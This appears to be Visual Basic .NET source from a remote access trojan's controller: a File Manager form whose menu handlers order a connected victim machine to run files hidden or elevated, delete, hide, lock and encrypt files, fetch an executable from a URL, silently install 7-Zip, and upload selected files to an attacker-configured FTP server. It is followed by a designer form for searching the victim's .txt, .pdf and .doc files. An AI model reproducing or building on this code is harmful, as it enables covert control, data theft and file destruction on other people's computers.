For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
ccppath &= "-=>" & Guna2TextBox1.Text & LV.Text
|
||||
ccps = "-=>"
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub CutToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CutToolStripMenuItem1.Click
|
||||
ccppath = Nothing
|
||||
ccps = Nothing
|
||||
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
ccppath &= "-=>" & Guna2TextBox1.Text & LV.Text
|
||||
ccps = "*"
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub PasteToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PasteToolStripMenuItem.Click
|
||||
If ccps = "-=>" Then
|
||||
|
||||
Dim B As Byte() = SB("CPP" & SettingsHelper.SPL & ccppath & SettingsHelper.SPL & Guna2TextBox1.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
ccppath = Nothing
|
||||
ccps = Nothing
|
||||
|
||||
End If
|
||||
|
||||
If ccps = "*" Then
|
||||
|
||||
Dim B As Byte() = SB("CTT" & SettingsHelper.SPL & ccppath & SettingsHelper.SPL & Guna2TextBox1.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
ccppath = Nothing
|
||||
ccps = Nothing
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub EditToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles EditToolStripMenuItem1.Click
|
||||
Dim B As Byte() = SB("tss" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub NormalToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles NormalToolStripMenuItem1.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("Execute" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub HiddenToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles HiddenToolStripMenuItem1.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("ExecuteHide" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub RunAsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RunAsToolStripMenuItem1.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("ExecuteRunAs" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub RenameToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RenameToolStripMenuItem1.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Select Case LV.ImageIndex
|
||||
Case 0 To 1
|
||||
Case 2
|
||||
Dim a As String
|
||||
a = InputBox("Enter New Folder Name", "Folder", LV.Text)
|
||||
If a = LV.Text Or String.IsNullOrEmpty(a) Then
|
||||
Return
|
||||
Else
|
||||
Dim B As Byte() = SB("Rename" & SettingsHelper.SPL & "Folder" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text & SettingsHelper.SPL & a)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
Case Else
|
||||
|
||||
Dim a As String
|
||||
a = InputBox("Enter New File Name", "File", LV.Text)
|
||||
|
||||
If a = LV.Text Or String.IsNullOrEmpty(a) Then
|
||||
Return
|
||||
Else
|
||||
Dim B As Byte() = SB("Rename" & SettingsHelper.SPL & "File" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text & SettingsHelper.SPL & a)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End Select
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub DeleteToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DeleteToolStripMenuItem1.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Select Case LV.ImageIndex
|
||||
Case 0 To 1
|
||||
Case 2
|
||||
Dim B As Byte() = SB("Delete" & SettingsHelper.SPL & "Folder" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Case Else
|
||||
Dim B As Byte() = SB("Delete" & SettingsHelper.SPL & "File" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Select
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub UploadToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles UploadToolStripMenuItem2.Click
|
||||
Dim open As OpenFileDialog = New OpenFileDialog With {
|
||||
.Filter = "All files (*.*)|*.*",
|
||||
.Multiselect = True
|
||||
}
|
||||
|
||||
Dim result As DialogResult = open.ShowDialog()
|
||||
If result = DialogResult.OK Then
|
||||
Dim filenames As String() = open.FileNames
|
||||
For i As Integer = 0 To filenames.Length - 1
|
||||
|
||||
Dim B As Byte() = SB("sendfileto" & SettingsHelper.SPL & Guna2TextBox1.Text & Path.GetFileName(filenames(i)) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(filenames(i)))))
|
||||
|
||||
ToolStripStatusLabel1.ForeColor = Color.Green
|
||||
ToolStripStatusLabel1.Text = Path.GetFileName(filenames(i)) & " Uploading.."
|
||||
ToolStripStatusLabel1.Visible = True
|
||||
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Next
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DownloadToolStripMenuItem1.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("downloadfile" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text & SettingsHelper.SPL & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub NewFolderToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles NewFolderToolStripMenuItem1.Click
|
||||
|
||||
Dim n As String
|
||||
n = InputBox("Enter The folder's Name", "Creat New Folder")
|
||||
|
||||
If Not String.IsNullOrEmpty(n) Then
|
||||
Dim B As Byte() = SB("creatnewfolder" & SettingsHelper.SPL & Guna2TextBox1.Text & n)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub NewFileToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles NewFileToolStripMenuItem.Click
|
||||
Dim n As String
|
||||
n = InputBox("Enter The File Name", "Creat New File")
|
||||
If Not String.IsNullOrEmpty(n) Then
|
||||
Dim B As Byte() = SB("creatfile" & SettingsHelper.SPL & Guna2TextBox1.Text & n)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ShowFolderFileToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ShowFolderFileToolStripMenuItem.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("showfolderfile" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub HideFolderFileToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HideFolderFileToolStripMenuItem.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("hidefolderfile" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub HiddenInstallationlToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HiddenInstallationlToolStripMenuItem.Click
|
||||
Try
|
||||
Dim B As Byte() = SB("7zIT" & SettingsHelper.SPL & Convert.ToBase64String(Compress(My.Resources._7z)) & SettingsHelper.SPL & Convert.ToBase64String(Compress(My.Resources._7zD)))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ZipToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ZipToolStripMenuItem2.Click
|
||||
Dim ou As String
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
ou &= " -ir!" & """" & Guna2TextBox1.Text & LV.Text & """" & " "
|
||||
Next
|
||||
Dim B As Byte() = SB("7z" & SettingsHelper.SPL & " a -r " & """" & Guna2TextBox1.Text & ListView1.FocusedItem.Text & ".zip" & """" & ou & " -y")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub UnzipToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles UnzipToolStripMenuItem1.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("7z" & SettingsHelper.SPL & " x " & """" & Guna2TextBox1.Text & LV.Text & """" & " -o" & """" & Guna2TextBox1.Text & LV.Text.Replace(".zip", "") & """" & " -y")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub UploadToolStripMenuItem_Click_1(sender As Object, e As EventArgs) Handles UploadToolStripMenuItem.Click
|
||||
Dim ftphost As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftphost", Nothing)
|
||||
Dim ftpuser As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpuser", Nothing)
|
||||
Dim ftppass As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftppass", Nothing)
|
||||
Dim ftpport As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Ftpport", Nothing)
|
||||
|
||||
Dim Files As String
|
||||
Files = Nothing
|
||||
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Files &= "-=>" & Guna2TextBox1.Text & LV.Text
|
||||
Next
|
||||
Dim B As Byte() = SB("UPtoFtp" & SettingsHelper.SPL & ftpuser & SettingsHelper.SPL & ftppass & SettingsHelper.SPL & ftphost & SettingsHelper.SPL & ftpport & SettingsHelper.SPL & Files)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub SettingsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SettingsToolStripMenuItem1.Click
|
||||
Dim f As New Ftp
|
||||
f.StartPosition = FormStartPosition.CenterParent
|
||||
f.ShowDialog()
|
||||
End Sub
|
||||
|
||||
Private Sub SendFromLinkToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SendFromLinkToolStripMenuItem1.Click
|
||||
|
||||
Dim urle As String
|
||||
urle = "http://www.example.com/File.exe"
|
||||
Dim str3 As String = Interaction.InputBox("Set The Url", "From Url", urle)
|
||||
Dim fname As String = "server.exe"
|
||||
Dim str4 As String = Interaction.InputBox("Set The File Name", "File Name", fname)
|
||||
|
||||
If (str3.Length = 0) Or str4.Length = 0 Then
|
||||
Else
|
||||
Dim B As Byte() = SB("FURL" & SettingsHelper.SPL & str3 & SettingsHelper.SPL & Guna2TextBox1.Text & str4)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub SetBackgroundToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SetBackgroundToolStripMenuItem1.Click
|
||||
Dim B As Byte() = SB("ChangeWL" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub PlayToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles PlayToolStripMenuItem1.Click
|
||||
Dim B As Byte() = SB("RSS" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub StopToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles StopToolStripMenuItem1.Click
|
||||
Dim B As Byte() = SB("RSSDis")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
RefreshList()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub EncryptToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles EncryptToolStripMenuItem.Click
|
||||
Dim Files As String
|
||||
Files = Nothing
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Files &= "-=>" & Guna2TextBox1.Text & LV.Text
|
||||
Next
|
||||
Dim B As Byte() = SB("ENC" & SettingsHelper.SPL & Files)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub DecryptToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DecryptToolStripMenuItem.Click
|
||||
Dim Files As String
|
||||
Files = Nothing
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Files &= "-=>" & Guna2TextBox1.Text & LV.Text
|
||||
Next
|
||||
Dim B As Byte() = SB("DEC" & SettingsHelper.SPL & Files)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub LockToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles LockToolStripMenuItem.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("LockDir" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub UnlockToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles UnlockToolStripMenuItem.Click
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("UnlockDir" & SettingsHelper.SPL & Guna2TextBox1.Text & LV.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadFolderToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DownloadFolderToolStripMenuItem.Click
|
||||
Try
|
||||
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID)
|
||||
If Not Directory.Exists(fullPath) Then
|
||||
Directory.CreateDirectory(fullPath)
|
||||
End If
|
||||
Process.Start(fullPath)
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
|
||||
Try
|
||||
If Guna2TextBox1.Text.Length < 4 Then
|
||||
Guna2TextBox1.Text = ""
|
||||
|
||||
Dim B As Byte() = SB("GetDrives" & SettingsHelper.SPL)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
||||
|
||||
Else
|
||||
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\"))
|
||||
Guna2TextBox1.Text = Guna2TextBox1.Text.Substring(0, Guna2TextBox1.Text.LastIndexOf("\") + 1)
|
||||
RefreshList()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox2.TextChanged
|
||||
Try
|
||||
SearchTextInListView(Guna2TextBox2.Text, ListView1, 0)
|
||||
Catch
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_KeyPress(sender As Object, e As KeyPressEventArgs) Handles Guna2TextBox2.KeyPress
|
||||
Dim flag As Boolean = e.KeyChar = vbBack
|
||||
If flag Then
|
||||
Dim flag2 As Boolean = Guna2TextBox2.Text.Length = 1
|
||||
If flag2 Then
|
||||
Try
|
||||
Try
|
||||
Dim flag3 As Boolean = Guna2TextBox1.Text <> ""
|
||||
If flag3 Then
|
||||
Dim B As Byte() = SB("FileManager" & SettingsHelper.SPL & Guna2TextBox1.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Dim B As Byte() = SB("GetDrives")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
Catch
|
||||
End Try
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub FileHashToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FileHashToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("Hash" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+275
@@ -0,0 +1,275 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class FilesSearcher
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FilesSearcher))
|
||||
ListBox1 = New System.Windows.Forms.ListBox()
|
||||
Guna2ContextMenuStrip2 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
AddToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RemoveToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ToolStripMenuItem7 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
Panel1 = New System.Windows.Forms.Panel()
|
||||
Guna2NumericUpDown1 = New Guna.UI2.WinForms.Guna2NumericUpDown()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Panel5 = New System.Windows.Forms.Panel()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2Panel3 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2Panel2 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2ContextMenuStrip2.SuspendLayout()
|
||||
Panel1.SuspendLayout()
|
||||
CType(Guna2NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Panel5.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'ListBox1
|
||||
'
|
||||
ListBox1.BackColor = System.Drawing.Color.White
|
||||
ListBox1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListBox1.ContextMenuStrip = Guna2ContextMenuStrip2
|
||||
ListBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
ListBox1.Font = New System.Drawing.Font("Tahoma", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
ListBox1.ForeColor = System.Drawing.Color.Black
|
||||
ListBox1.FormattingEnabled = True
|
||||
ListBox1.ItemHeight = 14
|
||||
ListBox1.Items.AddRange(New Object() {".txt", ".pdf", ".doc"})
|
||||
ListBox1.Location = New System.Drawing.Point(0, 32)
|
||||
ListBox1.Name = "ListBox1"
|
||||
ListBox1.SelectionMode = System.Windows.Forms.SelectionMode.MultiExtended
|
||||
ListBox1.Size = New System.Drawing.Size(400, 149)
|
||||
ListBox1.TabIndex = 0
|
||||
'
|
||||
'Guna2ContextMenuStrip2
|
||||
'
|
||||
Guna2ContextMenuStrip2.Items.AddRange(New System.Windows.Forms.ToolStripItem() {AddToolStripMenuItem1, RemoveToolStripMenuItem1, ToolStripMenuItem7})
|
||||
Guna2ContextMenuStrip2.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip2.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip2.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip2.Size = New System.Drawing.Size(132, 70)
|
||||
'
|
||||
'AddToolStripMenuItem1
|
||||
'
|
||||
AddToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
AddToolStripMenuItem1.Image = CType(resources.GetObject("AddToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
AddToolStripMenuItem1.Name = "AddToolStripMenuItem1"
|
||||
AddToolStripMenuItem1.Size = New System.Drawing.Size(131, 22)
|
||||
AddToolStripMenuItem1.Text = "[ Add ]"
|
||||
'
|
||||
'RemoveToolStripMenuItem1
|
||||
'
|
||||
RemoveToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
RemoveToolStripMenuItem1.Image = CType(resources.GetObject("RemoveToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
RemoveToolStripMenuItem1.Name = "RemoveToolStripMenuItem1"
|
||||
RemoveToolStripMenuItem1.Size = New System.Drawing.Size(131, 22)
|
||||
RemoveToolStripMenuItem1.Text = "[ Remove ]"
|
||||
'
|
||||
'ToolStripMenuItem7
|
||||
'
|
||||
ToolStripMenuItem7.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem7.Image = CType(resources.GetObject("ToolStripMenuItem7.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem7.Name = "ToolStripMenuItem7"
|
||||
ToolStripMenuItem7.Size = New System.Drawing.Size(131, 22)
|
||||
ToolStripMenuItem7.Text = "[ Clear ]"
|
||||
'
|
||||
'Panel1
|
||||
'
|
||||
Panel1.Controls.Add(Label2)
|
||||
Panel1.Controls.Add(Guna2NumericUpDown1)
|
||||
Panel1.Controls.Add(Label1)
|
||||
Panel1.Dock = System.Windows.Forms.DockStyle.Bottom
|
||||
Panel1.Location = New System.Drawing.Point(0, 181)
|
||||
Panel1.Name = "Panel1"
|
||||
Panel1.Size = New System.Drawing.Size(400, 36)
|
||||
Panel1.TabIndex = 8
|
||||
'
|
||||
'Guna2NumericUpDown1
|
||||
'
|
||||
Guna2NumericUpDown1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2NumericUpDown1.BorderRadius = 3
|
||||
Guna2NumericUpDown1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2NumericUpDown1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2NumericUpDown1.Location = New System.Drawing.Point(76, 6)
|
||||
Guna2NumericUpDown1.Name = "Guna2NumericUpDown1"
|
||||
Guna2NumericUpDown1.Size = New System.Drawing.Size(80, 24)
|
||||
Guna2NumericUpDown1.TabIndex = 74
|
||||
Guna2NumericUpDown1.UpDownButtonFillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Guna2NumericUpDown1.Value = New Decimal(New Integer() {3, 0, 0, 0})
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(162, 12)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(21, 13)
|
||||
Label2.TabIndex = 2
|
||||
Label2.Text = "MB"
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(18, 11)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(56, 13)
|
||||
Label1.TabIndex = 0
|
||||
Label1.Text = "MaxSize : "
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 217)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(400, 22)
|
||||
StatusStrip1.TabIndex = 7
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Panel5
|
||||
'
|
||||
Panel5.Controls.Add(Guna2Panel1)
|
||||
Panel5.Controls.Add(Guna2Panel3)
|
||||
Panel5.Controls.Add(Guna2Panel2)
|
||||
Panel5.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel5.Location = New System.Drawing.Point(0, 0)
|
||||
Panel5.Name = "Panel5"
|
||||
Panel5.Size = New System.Drawing.Size(400, 32)
|
||||
Panel5.TabIndex = 31
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(33, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(334, 21)
|
||||
Guna2Panel1.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
